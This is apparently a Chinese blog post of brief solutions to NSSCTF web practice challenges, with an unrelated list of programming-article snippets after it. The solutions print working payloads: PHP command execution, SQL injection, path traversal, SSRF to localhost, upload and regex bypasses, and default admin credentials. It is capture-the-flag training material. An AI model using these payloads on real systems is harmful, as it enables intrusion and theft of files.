NSSCTF题库——web

news2024/11/16 10:52:58

[SWPUCTF 2021 新生赛]gift_F12

f12后ctrl+f找到flag

[SWPUCTF 2021 新生赛]jicao——json_decode()

加密后的格式

$json = '{"a":"php","b":"mysql","c":3}';

json必须双引号传输

构造:GET里json={"x":"wllm"}、POST里id=wllmNB

[SWPUCTF 2021 新生赛]easy_md5

name=QNKCDZO

password=240610708

[SWPUCTF 2021 新生赛]easyrce

url=system('ls /');

?url=system('cat /flllllaaaaaaggggggg');

[第五空间 2021]WebFTP

README.md里面有默认的账号和密码

账号:admin

密码:admin888

flag在phpinfo.php里

[SWPUCTF 2021 新生赛]Do_you_know_http

user-agent:浏览器名字

x-forwarded-for: 127.0.0.1

[SWPUCTF 2021 新生赛]babyrce

[SWPUCTF 2021 新生赛]easyupload1.0

上传phtml,修改mime

[SWPUCTF 2021 新生赛]no_wakeup

[SWPUCTF 2021 新生赛]PseudoProtocols

[ZJCTF 2019]NiZhuanSiWei

第二个php文件被解析了,所以需要用伪协议

[NISACTF 2022]easyssrf

这里有个stristr函数,应该是防止通过file变量进行file协议读取,所以将file命令过滤掉,无所谓,我们可以直接利用file变量来进行读取文件

这里先介绍一下strstr,stristr,strops的区别,简单来说就是:
strstr 区别大小写,从字符开始找如果有返回true否则就返回false
stristr 字符不区别大小写,从字符开始找如果有返回true否则就返回false
strpos 区别大小写strpos查找成功后则是返回的是位置。因为位置有可能是0,所以判断查找失败使用===false更合适。

文件包含

http://node2.anna.nssctf.cn:28373/ha1x1ux1u.php?file=../../../../../../flag

方法2

[BJDCTF 2020]easy_md5

[NCTF 2018]签到题

[SWPUCTF 2021 新生赛]error

?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--+ 
?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+

[SWPUCTF 2021 新生赛]hardrce

?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
 

[LitCTF 2023]PHP是世界上最好的语言!!

[NSSCTF 2022 Spring Recruit]ezgame

[GXYCTF 2019]Ping Ping Ping

总结过滤了单双引号、()、flag

[LitCTF 2023]导弹迷踪

[鹤城杯 2021]EasyP

highlight_file可以起到文件读取的作用,而我们第一行代码就有个utils.php的文件包含,所以大胆猜测flag就在这个文件中(当然,我做过肯定是知道就是在里面,不用猜)。

所以接下来我们有两件事情要做,一件事绕过正则是使show_source不为空,另一件事是使basename($_SERVER['PHP_SELF'])值为utils.php,即使$_SERVER['PHP_SELF']为******/utils.php,最后basename这个值就会为utils.php再然后就highlight_file读取到文件。

所以我们要想办法绕/utils\.php\/*$/i 以及/show_source/这个正则匹配,

只要在后面加个非ASCII码的东西就可以绕过。

所以我们用%88或者只要是可以造成乱码的url编码就可以绕过/utils\.php\/*$/i 正则匹配。

/show_source/show[source或者show.source绕过,这个记住即可。

/index.php/utils.php/%88?show[source=1

[LitCTF 2023]1zjs

[SWPUCTF 2021 新生赛]finalrce

可以看到的是没有过滤|这个符号,然后exec执行是没回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。

[LitCTF 2023]Ping

f12-f1

[LitCTF 2023]Follow me and hack me

[SWPUCTF 2021 新生赛]ez_caesar

U1hYSFlLe2R0em1mYWpwc3RiaGZqeGZ3fQ==

SXXHYK{dtzmfajpstbhfjxfw}

  1. str_list = list(plaintext): 将明文转换为字符列表,方便后续操作。

  2. i = 0: 初始化循环计数器 i。

  3. while i < len(plaintext):: 开始循环,遍历明文字符串中的每个字符。

  4. if not str_list[i].isalpha():: 如果当前字符不是字母,则不进行加密处理,保持原样。

  5. else:: 如果当前字符是字母,执行以下操作。

  6. a = "A" if str_list[i].isupper() else "a": 根据当前字母的大小写,确定基准字母 A 或 a。

  7. str_list[i] = chr((ord(str_list[i]) - ord(a) + 5) % 26 + ord(a) or 5): 根据凯撒密码的规则,将当前字母向后移动 5 个位置,并重新计算相应的 ASCII 值,再转换回字符。

  8. i = i + 1: 更新计数器,进行下一个字符的处理。

  9. return ''.join(str_list): 将字符列表转换回字符串并返回加密后的密文。

其他地方不动

[NISACTF 2022]checkin

导不出数据的试试这个

a = 'E2 80 AE E2 81 A6 20 46 6C 61 67 21 E2 81 A9 E2 81 A6 4E 31 53 41 43 54 46'
b = ''
for i in a.split():
    x = '%'+i
    b += x
 
print(b)
import re
string = "E280AEE281A620466C616721E281A9E281A64E315341435446"
# 写出正则表达式 任意2个字符
pattern = re.compile('.{2}')
# findall是找到所有的字符,再在字符中添加空格,当然你想添加其他东西当然也可以
print('%'.join(pattern.findall(string)))

ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46
 

[SWPUCTF 2022 新生赛]ez_ez_php

PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4iPGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXydmbGFnJyIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo=

TlNTQ1RGe2VlZmQzOWM3LTNiNDMtNDUyMi1hYWNjLWYzMDkxNDNiMzg0ZH0K

[UUCTF 2022 新生赛]websign

[HDCTF 2023]Welcome To HDCTF 2023

死了就有flag

[HNCTF 2022 WEEK2]ez_ssrf

fsockopen — 打开一个网络连接或者一个Unix套接字连接

hostname

如果安装了OpenSSL,那么你也许应该在你的主机名地址前面添加访问协议ssl://或者是tls://,从而可以使用基于TCP/IP协议的SSL或者TLS的客户端连接到远程主机。

port

端口号。如果对该参数传一个-1,则表示不使用端口,例如unix://

errno

如果传入了该参数,holds the system level error number that occurred in the system-level connect() call。

如果errno的返回值为0,而且这个函数的返回值为FALSE,那么这表明该错误发生在套接字连接(connect())调用之前,导致连接失败的原因最大的可能是初始化套接字的时候发生了错误。

errstr

错误信息将以字符串的信息返回。

timeout

设置连接的时限,单位为秒。

fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回FALSE

feof — 测试文件指针是否到了文件结束的位置

fgets — 从文件指针中读取一行

length

handle 指向的文件中读取一行并返回长度最多为 length - 1 字节的字符串。读取128个字节,可能刚好是flag的长度吧

dirseach扫描可以扫描到flag.php,需要本地访问

我们本地访问他的80端口

host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

[UUCTF 2022 新生赛]ez_rce

eval — 把字符串作为PHP代码执行

?code=printf(`c\at /fffffffffflagafag`);

[MoeCTF 2021]babyRCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1205758.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【JUC】三、集合的线程安全

文章目录 1、ArrayList集合线程安全问题分析2、解决方式一&#xff1a;Vector或synchronizedList( )3、解决方式二&#xff1a;CopyOnWriteArrayList 写时复制4、HashSet集合线程不安全的分析与解决5、HashMap集合线程不安全的分析与解决 1、ArrayList集合线程安全问题分析 对…

TLP超线程技术

在实现IPL指令级并行的同时实现TLP(Thread Level Parallelism)线程级并行实现多线程有两种主要的方法超线程即同时多线程&#xff0c;在单个处理器或单个核中设置了两套线程状态部件&#xff0c;共享高速缓存和功能部件当两个线程同时需要某个资源时&#xff0c;其中一个线程必…

VuePress介绍及使用指南

VuePress是一个基于Vue.js的静态网站生成工具&#xff0c;它专注于以Markdown为中心的项目文档。VuePress具有简单易用的特性&#xff0c;同时提供了强大的自定义和扩展性。在本文中&#xff0c;我们将介绍VuePress的基本概念&#xff0c;并提供一个简单的使用指南。 什么是Vue…

【C语言】

C语言 1. C语言基础1.1 数据类型和占位符1.2 异或1.3 关键字1.4 const1.5 extern1.6 typedef1.7 static1.8 左值和右值1.9 位进行操作赋值 2. C指针3. 二维数组和指针4. 函数传递二维数组4.1 形参给出第二维的长度。4.2 形参声明为指向数组的指针。4.3 形参声明为指针的指针。 …

快速掌握队列的基础知识

目录 队列的特点基于链表实现队列用栈实现队列用队列实现栈 队列是一种线性数据结构&#xff0c;它只允许在一边进行插入操作&#xff08;队尾&#xff09;&#xff0c;另一边进行删除操作&#xff08;队头&#xff09;。插入操作称为入队&#xff0c;删除操作称为出队。队列遵…

【网络奇缘】我和英特网再续前缘

&#x1f308;个人主页: Aileen_0v0&#x1f525;系列专栏: 一见倾心,再见倾城 --- 计算机网络~&#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 计算机网络的概念 计算机网络的功能 ⭐1.数据通信 ⭐2.资源共享 ⭐3.分布式处理 ⭐4.提高可靠性 ⭐…

Java17新增特性

前言 前面的文章&#xff0c;我们对Java9、Java10、Java11、Java12 、Java13、Java14、Java15、Java16 的特性进行了介绍&#xff0c;对应的文章如下 Java9新增特性 Java10新增特性 Java11新增特性 Java12新增特性 Java13新增特性 Java14新增特性 Java15新增特性 Java16新增特…

Eclipse打包Springboot项目

首先&#xff0c;在pom.xml文件中添加配置&#xff0c;修改mainClass主函数&#xff1a; <build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId><configurat…

【电路笔记】-戴维南定理(Thevenin‘s Theorem)

戴维南定理&#xff08;Thevenin’s Theorem&#xff09; 文章目录 戴维南定理&#xff08;Thevenins Theorem&#xff09;1、概述与定义2、戴维南模型确定3、一些线性电路的戴维南模型3.1 单电压源3.2 单电流源3.3 多电流/电压源 4、结论 在本文中&#xff0c;我们将介绍一种强…

LLaMA模型之中文词表的蜕变

在目前的开源模型中&#xff0c;LLaMA模型无疑是一颗闪亮的⭐️&#xff0c;但是相对于ChatGLM、BaiChuan等国产大模型&#xff0c;其对于中文的支持能力不是很理想。原版LLaMA模型的词表大小是32K&#xff0c;中文所占token是几百个左右&#xff0c;这将会导致中文的编解码效率…

Python---综合案例:通讯录管理系统---涉及点:列表、字典、死循环

需求&#xff1a; 开个一个通讯录的管理系统&#xff0c;主要用于实现存储班级中同学的信息&#xff08;姓名、年龄、电话&#xff09; 涉及点&#xff1a;列表、字典、死循环 相关链接&#xff1a;Python--列表及其应用场景---增、删、改、查。-CSDN博客 Python---字典---…

ip数据包

数据报文格式 首部 版本&#xff08;Version&#xff09; 版本字段占4bit&#xff0c;通信双方使用的版本必须一致。对于IPv4&#xff0c;字段的值是4。 首部长度&#xff08;Internet Header Length&#xff0c; IHL&#xff09; 占4bit&#xff0c;首部长度说明首部有多少…

ubutun上编译出现undefined reference to symbol ‘dladdr@@GLIBC_2.2.5‘的错误

作者&#xff1a;朱金灿 来源&#xff1a;clever101的专栏 为什么大多数人学不会人工智能编程&#xff1f;>>> ubutun上编译一段C程序&#xff0c;出现错误&#xff1a; /usr/bin/ld: /tmp/ccghh3FJ.o: undefined reference to symbol ‘dladdrGLIBC_2.2.5’ //lib/…

前端---CSS的盒模型

文章目录 什么是盒模型&#xff1f;设置边框设置内边距设置外边距块级元素水平居中 什么是盒模型&#xff1f; 页面上的每个HTML元素都是一个一个的“盒子”&#xff0c;这些盒子由&#xff1a;内容、内边距、边框、外边距组成。 我们可以和住的房子联系起来&#xff0c;更好…

HarmonyOS开发(二):TypeScript入门

1、编程语言介绍 ArkTS是HarmonyOS主推的应用开发语言&#xff0c;它是在TypeScript语言的基础之上&#xff0c;匹配ArkUI框架&#xff0c;扩展了声明式UI、状态管理等相应的能力&#xff0c;让开发者以更简洁、更自然的方式开发跨端应用。 ArkTS、TypeScript和JavaScript之间…

打开 Chrome 的 「内存节省程序」开关和关闭硬件加速

不知道从什么时候开始&#xff0c;应该是最近1个月&#xff0c;感觉 Mac 浏览器总是占用很高的 CPU&#xff0c;多开一些标签页&#xff0c;或者浏览器窗口&#xff0c;相互切换时系统就会变得无响应&#xff0c;从 Chrome 浏览器里找到一个「内存节省程序」的配置&#xff0c;…

数据校验:Spring Validation

Spring Validation概述 在开发中&#xff0c;我们经常遇到参数校验的需求&#xff0c;比如用户注册的时候&#xff0c;要校验用户名不能为空、用户名长度不超过20个字符、手机号是合法的手机号格式等等。如果使用普通方式&#xff0c;我们会把校验的代码和真正的业务处理逻辑耦…

二维码智慧门牌管理系统升级解决方案:运营可视化之道

文章目录 前言一、系统概述二、数据可视化与运营决策 前言 随着科技的飞速发展和人们生活水平的提高&#xff0c;传统的门牌管理系统已经无法满足现代社会的需求。在这个信息化、智能化的时代&#xff0c;一款升级版的二维码智慧门牌管理系统应运而生&#xff0c;它将以全新的…

手机能做静态二维码吗?用手机做二维码的教程

现在手机上有很多的功能&#xff0c;能够帮助我们应对日常生活中的各种问题&#xff0c;那么如果我们想要在手机上生成一个静态二维码&#xff0c;大家知道该怎么来操作吗&#xff1f;一般制作二维码需要专业的二维码生成工具才可以完成制作&#xff0c;那么下面小编来给大家分…

properties文件乱码

出现如下乱码&#xff1a; 按照步骤修改编码方式就可以解决啦 修改之后结果就是下面这样~